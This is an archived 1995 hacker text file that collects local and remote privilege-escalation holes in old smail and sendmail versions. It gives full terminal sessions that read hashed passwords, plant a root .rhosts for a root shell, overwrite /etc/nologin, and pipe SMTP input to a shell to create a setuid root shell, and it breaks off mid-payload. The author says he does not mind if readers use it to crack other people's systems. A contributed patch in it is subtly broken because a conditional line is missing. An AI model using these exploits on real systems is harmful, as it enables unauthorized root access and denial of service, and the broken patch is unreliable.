home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / security8.txt < prev    next >
Encoding:
Text File  |  1999-11-04  |  7.6 KB  |  399 lines

  1. from Hacknet, Postmaster@hacknet.demon.co.uk
  2.  
  3. Introduction and Legal Ramble
  4.  
  5. This is written for anyone thats interested in learning about the many
  6. Security holes that are resident in many versions of Sendmail. I do not
  7. care if you use it to protect your system against others, or crack other
  8. ppls systems...just don't involve me in it.
  9.  
  10. I wrote it to collate all the information on sendmail into one list for
  11. convience and perhaps it will help some people.
  12.  
  13. I would like to thank the unknown person who started this off long time
  14. ago....
  15.  
  16. This paper is (c) 1995, however I do not object, to you including any of
  17. these in a FAQ, printed magazine, book etc... just mail me first so I known
  18. where it's distributed *:^)
  19.  
  20. Have you spotted a mistake or anything I could add? Then just add your own
  21. stuff and put yourself down on the credits and mail it me :)
  22.  
  23. Note: This is v.01b so there is bound to be mistakes and there are a lot of
  24. other stuff to add as well....and expand it to include FTP daemon bugs?
  25. I am extremely busy..and am only releasing it due to popular demand.
  26.  
  27. OH, please tell me what versions these work on!
  28.  
  29. ---------------------------------------------------------------------------
  30.  
  31. Bug #1
  32.  
  33. Sendmail Version affected: 3.1.28, any more ?
  34.  
  35. SYNOPSIS
  36.  
  37. Use of ~/.forward and debug lets a local user read any file on the system.
  38.  
  39. EXAMPLE OF EXPLOITATION
  40.  
  41. Contrary to popular belief, adding -smtp_debup to your smail config file
  42. will not prevent this bug from occuring. It will just prevent exploitation
  43. via the smtp port.
  44.  
  45. We can just do this....
  46.  
  47. user@psyops ~> smail -bs -v20
  48.  
  49. expand_string($primary_name Smail$version ready for mail on $date,(null),
  50.  
  51. (null)) called
  52.  
  53. expand_string returns psyops.warez.mil Smail3.1.28.1 ready for mail on
  54.  
  55. Mon, 5 Sep 94 12:15 PDT
  56.  
  57. 220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12:15
  58.  
  59. PDT
  60.  
  61. expn user
  62.  
  63. [same text as before]
  64.  
  65. expand_string(~/.forward, /home/user, user) called
  66.  
  67. expand_string returns /home/user/.forward
  68.  
  69. dtd_forwardfile:  opening forward file /home/user/.forward
  70.  
  71. [more of same text]
  72.  
  73. read 890 bytes
  74.  
  75. director dotforward: matched user, forwarded to
  76.  
  77. root:e.fmSewuS32sfeVdsjk/Ewef:8000:0:99999:7:::
  78.  
  79. bin:*:8000:0:99999:7:::
  80.  
  81. daemon:*:8000:0:99999:7:::
  82.  
  83. nobody:*:8000:0:99999:7:::
  84.  
  85. user:e74fds.Sfdsioa8e2dsskDSx:8000:0:99999:7:::
  86.  
  87. [.....]
  88.  
  89. process_field: entry
  90.  
  91. We have a group
  92.  
  93. We have a group
  94.  
  95. process_field: error: recursive address group
  96.  
  97. 550 user ... not matched
  98.  
  99. quit
  100.  
  101. 221 psyops.warez.mil closing connection
  102.  
  103. To fix this, you should get rid of the -d and -v options for smail as well
  104. as adding -smtp_debug to your config file.
  105.  
  106. ---------------------------------------------------------------------------
  107.  
  108. Bug #2
  109.  
  110. Sendmail Version affected: 3.1.28, any more ?
  111.  
  112. SYNOPSIS
  113.  
  114. Smail called with the -D flag will allow you to create and append to any
  115. file on the system.
  116.  
  117. EXAMPLE OF EXPLOITATION
  118.  
  119. user@psyops ~> cat > ~/.forward
  120.  
  121. localhost user
  122.  
  123. ^D
  124.  
  125. user@psyops ~> smail -bs -D ~root/.rhosts -v20
  126.  
  127. 220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12
  128.  
  129. :23 PDT
  130.  
  131. expn user
  132.  
  133. 250 user
  134.  
  135. quit
  136.  
  137. 221 psyops.warez.mil closing connection
  138.  
  139. user@psyops ~> rsh -l root localhost tcsh\ -i
  140.  
  141. Warning: no access to tty (Bad file number).
  142.  
  143. Thus no job control in this shell.
  144.  
  145. # id
  146.  
  147. uid=3D0(root) gid=3D0(root)
  148.  
  149. Patch this by removing the -D option from smail.
  150.  
  151. I received the following patch recently. I haven't tested it, so use at
  152. your own risk.
  153.  
  154. *** Omain.c     Wed Mar 11 12:33:18 1993
  155.  
  156. --- main.c      Wed Mar 11 12:59:54 1993
  157.  
  158. ***************
  159.  
  160. *** 436,458 ****
  161.  
  162.       }
  163.  
  164. -     /*
  165.  
  166. -      * change error file to debugging file from -D option, if any
  167.  
  168. -      */
  169.  
  170. -
  171.  
  172. -     if (arg_debug_file) {
  173.  
  174. -       new_errfile =3D fopen(arg_debug_file, "a");
  175.  
  176. -       if (new_errfile =3D=3D NULL) {
  177.  
  178. -           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
  179.  
  180. -                     arg_debug_file, strerrno(errno));
  181.  
  182. -           arg_debug_file =3D NULL;
  183.  
  184. -       } else {
  185.  
  186. -           errfile =3D new_errfile;
  187.  
  188. -           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
  189.  
  190. -                   program, (long)getpid());
  191.  
  192. -       }
  193.  
  194. -     }
  195.  
  196.       /*
  197.  
  198.        * read in the transport, router and director files, if needed
  199.  
  200.        *
  201.  
  202.        * NOTE: if queue_only is FALSE and mode is DELIVER_MAIL,
  203.  
  204. --- 436,441 ----
  205.  
  206. ***************
  207.  
  208. *** 525,530 ****
  209.  
  210. --- 508,537 ----
  211.  
  212.       if (prog_euid !=3D REQUIRED_EUID)
  213.  
  214.       queue_only =3D TRUE;
  215.  
  216.   #endif
  217.  
  218. +     /*
  219.  
  220. +      * change error file to debugging file from -D option, if any
  221.  
  222. +      *
  223.  
  224. +      * JMJ: Change location of this fragment to below the setuid/setgid
  225.  
  226. +      *      calls to allow for use of fopen_as_user() instead of just
  227.  
  228. +      *      fopen().
  229.  
  230. +      *
  231.  
  232. +      *      Side effect: -D now requires full pathname to debug file
  233.  
  234. +      */
  235.  
  236. +
  237.  
  238. +     if (arg_debug_file) {
  239.  
  240. +       new_errfile =3D fopen_as_user(arg_debug_file, "a", 1, real_uid,
  241.  
  242. +           prog_egid, 0600);
  243.  
  244. +           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
  245.  
  246. +                     arg_debug_file, strerrno(errno));
  247.  
  248. +           arg_debug_file =3D NULL;
  249.  
  250. +       } else {
  251.  
  252. +           errfile =3D new_errfile;
  253.  
  254. +           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
  255.  
  256. +                   program, (long)getpid());
  257.  
  258. +       }
  259.  
  260. +     }
  261.  
  262.       /*
  263.  
  264.        * error processing can be other than TERMINAL only for
  265.  
  266. ---------------------------------------------------------------------------
  267.  
  268. Bug #3
  269.  
  270. Sendmail Version affected: ?
  271.  
  272. SYNOPSIS
  273.  
  274. Files specified in ~/.forward can be created in any directory, regardless
  275. of it's permissions. (File is still owned by mailbox owner, however.)
  276.  
  277. EXAMPLE OF EXPLOITATION
  278.  
  279. user@psyops ~> echo "/etc/nologin" > ~/.forward
  280.  
  281. user@psyops ~> mail -r root user < /dev/null
  282.  
  283. user@psyops ~> echo "Site shutdown due to smail lameness" >!  /etc/no=
  284.  
  285. login
  286.  
  287. user@psyops ~> rlogin localhost
  288.  
  289. Site shutdown due to smail lameness
  290.  
  291. rlogin: connection closed.
  292.  
  293. Plug up this hole by adding 'check_path' to the following part of your
  294. /usr/lib/smail/transports file:
  295.  
  296. [...]
  297.  
  298. # file - deliver mail to files
  299.  
  300. #
  301.  
  302. # This is used implicitly when smail encounters addresses which begin with
  303.  
  304. # a slash or squiggle character, such as "/usr/info/list_messages" or
  305.  
  306. # perhaps "~/Mail/inbox".
  307.  
  308. file:   driver =3D appendfile,
  309.  
  310. return_path, local, from, unix_from_hack;
  311.  
  312. file =3D $user,                   # file is taken from address
  313.  
  314. append_as_user,                 # use user-id associated with address
  315.  
  316. expand_user,                    # expand ~ and $ within address
  317.  
  318. check_path,   #<--add this line
  319.  
  320. suffix =3D "\n",
  321.  
  322. mode =3D 0644
  323.  
  324. [....]
  325.  
  326. ---------------------------------------------------------------------------
  327.  
  328. BUG #4
  329.  
  330. Version affected: 5.65?
  331.  
  332. from CSC FAQ:
  333.  
  334. A SAMPLE EXPLOITATION
  335.  
  336. A sample session follows.
  337.  
  338. ---cut here
  339.  
  340. [panix!jhawk] |% telnet panix.com 25
  341.  
  342. Trying 198.7.0.2 ...
  343.  
  344. Connected to panix.com.
  345.  
  346. Escape character is '^]'.
  347.  
  348. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  349.  
  350. -0500
  351.  
  352. HELO
  353.  
  354. 250 Hello panix.com, why do you call yourself ?
  355.  
  356. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  357.  
  358. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  359.  
  360. RCPT TO: root
  361.  
  362. 250 root... Recipient ok
  363.  
  364. DATA
  365.  
  366. 354 Enter mail, end with @.@ on a line by itself
  367.  
  368.  From: jhawk"panix.com (John Hawkinson)
  369.  
  370.   To: jhawk"panix.com (John Hawkinson)
  371.  
  372.   Return-Receipt-To: |foobar
  373.  
  374.   Subject: This is a large hole in the ground.
  375.  
  376.   X-Disclaimer: We take no responsibility for what might happen
  377.  
  378.   Hi there. Wanna play ball?
  379.  
  380.   #!/bin/sh
  381.  
  382.   #The above line is just in case :-)
  383.  
  384.   echo This is a Serious Bug > /tmp/bug
  385.  
  386.   echo id reports: >> /tmp/bug
  387.  
  388.   /usr/bin/id >> /tmp/bug
  389.  
  390.   echo Fixing this would be good >> /tmp/bug
  391.  
  392.   cp /bin/sh /tmp/bugshell
  393.  
  394.   chmod u+s /tmp/bugshell
  395.  
  396.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  397.  
  398.   chmod ugo+rx /tmp/bugshell
  399.